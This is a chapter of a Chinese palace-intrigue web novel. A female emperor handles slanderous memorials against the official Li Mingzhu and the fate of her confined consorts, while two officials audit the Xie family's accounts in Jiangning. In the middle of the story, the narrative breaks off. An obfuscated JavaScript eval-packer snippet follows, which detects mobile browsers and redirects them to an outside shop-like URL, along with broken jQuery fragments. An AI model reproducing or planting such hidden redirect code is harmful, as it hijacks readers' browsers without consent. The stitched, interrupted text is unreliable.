江南冬来阴寒。


    “田寺丞北方人，想来不惯这阴冷时节，下官与寺丞再烧一盆炭火吧。”苏如玉笑道，自炭筐里拣了几块新炭添上。


    田兴文披了件夹袄在桌前瑟瑟发抖，眼瞧着捉不住笔了，墨也冻凝在砚台上，忍不住连声叹气：“这时气说冷也不冷，偏生总觉如坠冰窖似的，倒是稀奇。”


    他抬眼往外瞧了一眼，正是个没阳气的阴天。早上才起了大雾，这会子又灰扑扑的了，像是蒙了一层纸。


    “那可不，潮湿地界便是这般，寺丞若觉冻僵咱们不妨出门走动走动，暖和身子，总这般看账也不是事。”苏如玉翻了两下炭盆，将那几块炭架起来，好烧红些，也就暖和些。


    她说的是那一沓谢家的账簿。太多了。从谢府上的开销到商行进出浮盈，一条条看下来直如多足虫子似的往眼皮子里钻，搅得眼珠子又干又痒又酸胀。


    可此案关键便是这钱从何处来，又往何处去了。


    田兴文对了一日才对完这么一小半，索性丢了笔去，站起来跺跺脚道：“下官便恭敬不如从命了，还要烦劳苏大人作陪。”


    “这算什么话呀，”苏如玉从侍从手里接了件披风来，“田寺丞初来江宁，在下怎么也该作陪，好尽地主之谊呢。所以拖着，不过是公务缠身。”


    二人说着相视一笑——那公务是缠人得太紧了。


    “我倒看她们是没活干了！”


    包着软布的公文在碧纱橱上砸出“咚”的一声。


    这劲儿真够大的。妖精叹了口气，接下这飞来的横折子：“你消消气，小宫女都给吓着了。”


    “你瞧瞧这奏本写的什么玩意儿。”皇帝白了一眼，没好气道，“不是闲得是什么。”


    妖精闻言听话开了折子……呃……


    “李明珠，深闺寂寞？勾引养女？啊？”他翻开又关上，又翻开，翻来覆去地看，“这？不会吧李明珠是这种人？”


    “……你觉得是吗。”


    “不能吧……他看着像没长过那玩意儿——哎我说，他脑子里真的有那根弦吗？”


    皇帝越发白眼了：“……端仪，是正常的，男人。”


    “哦你试过？”


    “……”皇帝吸了一口气，又放下，“……”


    “……没有。”


    “那不结了！你没试过你怎么知道他有没有！”妖精拍手道，“万一啊，我说万一，万一真没有呢？”


    这下可不是一封折子了，皇帝索性翻过桌案揍他：“你少说两句！”


    “是你问的啊，而且你这么说不是觉得他犯事儿嘛。”妖精两手一摊，跟着又成了抱头鼠窜，“哎，哎，好姐姐饶了我吧！”


    皇帝这才收了神通回去案牍劳形：“他不至于……再说清晏身边两个嬷嬷两个长随，她这两年还新招了两个同龄的伴妹，这么多人都没说过有此事呢。如蓝如金两个不更事也就算了，不至于长宜长顺也不晓得轻重。”


    “所以我才说她们是没活干了，全逮着这个弹劾。”皇帝狠狠吐出一口气。


    “……真的吗？”妖精捏起自己下巴，“按你以前的经历，我总觉得这事儿不是这么简单。”


    “可我也没办法提前做什么……”皇帝“哗啦”一下瘫在椅子上，“臣为君手足，手与足，谈何分别呢，不如说臣下之争才更显出天子威严。”


    她手指轻轻叩击桌案。尾指，名指，中指，食指，渐击渐快，显出手上青筋，缠绕在手骨上，随着手指动作浮凸，又归于平缓。


    递这折子的学官为多，御史有几个，再便是些担虚职的寺台官……捕风捉影之事，跟弹劾多也不过是新旧党争。


    崔卢两家已学会自保，李六那个呆瓜别的不会韬光养晦的本事还算可以，剩下便是……


    但皇帝能为也不过留中不发，至多不过是训斥几句，到底此事尚未引起波澜。


    做人君就这点不好，先发制人之术可行者甚少，无故滥用刑名等乱法之举到底非明君所为，留手者不过调任、编书、戎祀、科考几道。


    也只好先静观其变了。皇帝长长呼出一口气，忽而全身烦躁：“阿斯兰还没到么。”


    “没到饭点呢，还有一刻钟。”妖精不知道从哪摸来一盘剥好的核桃，“你找个人去叫他呗。”


    “算了……到底对内待诏好些。教公子读书本就不是什么好差使。”皇帝揉揉额角，“我不过想松泛一阵。”


    从和春希形封宫禁足后，这群公子郎君大都有了些往御前捞个见面情的意思，尤其裴、柳两个常侍，恨不能赖在殿里，皇帝一怒之下给他二人禁了足，这才消停些许。


    而今能按时出入栖梧宫的君侍便只剩下阿斯兰一人。


    “我今天早上去看了……和春。”


    谢天谢地，他终于记得和春名字了。


    “嗯，他与你问家中事了？还在查呢，等江宁那边回京复命。”皇帝叫如期给她夹了几块羊肉。


    这才开春了，天气还冷着，就该多用些羊，前几日的“拨红霞”就很是不错，羊肉片作红白相间的薄片，在滚水清汤里这么一涮一拨，蘸些调料，便正正好又香又甜。


    可惜这菜也不好每日吃重样的，今日便是清炖的羊汤。


    阿斯兰从如期手里接了碗，给皇帝加了点配菜道：“随云走之后他就不敢问了……是不是有人要害他？”


    “或许有吧，”皇帝接过碗来用了两口汤，“还不知是谁替他传这消息呢，一箭三雕，好把戏啊。”


    “三雕？这件事只害了和春与沈世君，还有一个是什么？”


    皇帝微微放下碗：“还拔除了谢长风在宫里的势力，借我的手做的。若此人意在宫权，此番是将挡路的全铲除了。”


    “郑秀清？我听说他的身份可以做皇后。”


    “不可能，他没那脑子。”皇帝撇撇嘴，“他是出身高，但没什么远见。若论起做皇后的出身，王桢也够呢，王家虽没落，却也不是什么小门小户。”


    “会是他吗。”


    “或许吧。”


    “你不关心吗。”


    “难道还能动到我头上？每日间我要瞧的东西那么多，这人无论如何闹腾，不出人命也就是了。至于做皇后么……”皇帝冷笑了一声，“还挺敢想的。”


    阿斯兰顿了一顿，夹了一筷子冬笋。


    皇帝喜爱略脆甜的笋，这油焖笋未曾焖得软烂，嚼起来脸仍酸。


    他替皇帝也夹了些笋，过了许久才道：“那……和春什么时候能出来？”


    “待此事尘埃落定……”皇帝轻声叹气，“我总觉此事还要牵连些东西出来，闷着他过日子的好，也不必焦心。”


    养鸟一般。


    阿斯兰忍不住打量了皇帝一眼。她侧脸瞧去很平静，只鼻梁高耸着，显出几分冷峻。


    不止是他，宫里男人都不过是她豢养的鸟。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577484|187166||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “嗯，我和他说。和他一起住的谦长使一直陪着他，他就好些。”


    “毓铭是好孩子。”皇帝笑，“哦，你也是，我的小狮子。”


    “……我不是小孩。”阿斯兰憋了半天，总算出了这么一句。


    这下逗得皇帝前仰后合，给小公子瞪了一眼才算略收敛些，两肩却还是忍不住抖个不停。阿斯兰一下闹起脾气，半句话不说，起身便往外走，引得皇帝追上去哄了许久才算面色稍霁，好生回宫去了。


    “他吃个饭还真有本事啊……”送走了阿斯兰，妖精忍不住感叹道，“你都不想李明珠的事了。”


    皇帝瞋了他一眼。


    端仪此事，谋划之人必有后招，只是如今尚不明朗，多想无益。


    而此事在皇帝冷漠态度中终于多了一分变化。


    “钱财？李端仪哪来的钱，一天天紧巴巴的。”皇帝好笑，这折子里写着李明珠以身不成便以金银诱惑清晏……想也不能，清晏大半用度是宫中拨给，什么好的没见过呢。


    倒是李明珠本人，配一条新革带都得典些旧衣——皇帝到底不好明着贴补他用度。


    这折子成天见的也习惯了，只是骤然出现在朝堂上倒是头回。


    风声大了，连魏容与这等旧臣也议论起来：“李大人向来严于律己……独身之事不提，金银钱财之来去实在该与人查验。”


    “他哪来的钱，又何处用了金银呢？”皇帝笑道，“无稽之谈。”


    魏容与忙往前一步：“非也。陛下，臣闻至清之水至浊，此万物相生之道。如月满盈则亏，而日中天而衰也。李大人之至清也未必没有隐情，况李大人掌天下之利，为免众口铄金，陛下也应查实内情昭告天下。”


    此事已不由她做主了。以天子之尊凌法理之道，是昏聩人主所为。


    皇帝沉默了许久才道：“如何查实呢。”


    魏容与显然早有准备：“钱财有来处便有去处，李大人节俭在外，田宅皆陛下钦赐，去处甚少，臣请遍查各大商行银号，必有存银。”


    她在袖中微微捏了捏手指尖。


    能一连多日上多封参奏，此事未必没有先手准备。


    但若一再有意镇压，只怕反噬更烈。


    她长长吐出一口气：“如此办吧。”


    就在京里各大商行银号彻查李明珠名下存银之时，苏如玉仍与田兴文沿湖散步。江南河湖多，顺水流而下便是民居市镇，这时节才过上元，水边还留着花船集市，沿途货娘还要叫卖些时新式样的簪钗。


    “下官总觉还有暗账。”


    苏如玉听了便笑：“田寺丞怎么还记挂着那账册呢？以谢家这般家业，定然有暗账的，只是到底是侍君本家，咱们不好上门查抄罢了。依此时来，倒是多走走，瞧瞧外头银钱走法更有意思。”


    “何故仍要顾及此事？不是……”田兴文压低了声音，“两位公子都受罚了么？”


    正是因着希形受罚传出来，她恩师沈晨不好在此事上说话，才令大理寺卿举荐了她下江宁来查案，怎么此时仍要看宫中脸色？


    “好歹给公子留些面子，”苏如玉笑道，“陛下多半是有些旧情分在……不愿一棍子打死了。”


    田兴文不由叹了口气。


    “谢家此番僭越敛财是板上钉钉的呀！”


    “按律，按律……”苏如玉拍起搭档的手背来，“按律……只要咱们证据确凿，陛下不会强行保下来的。”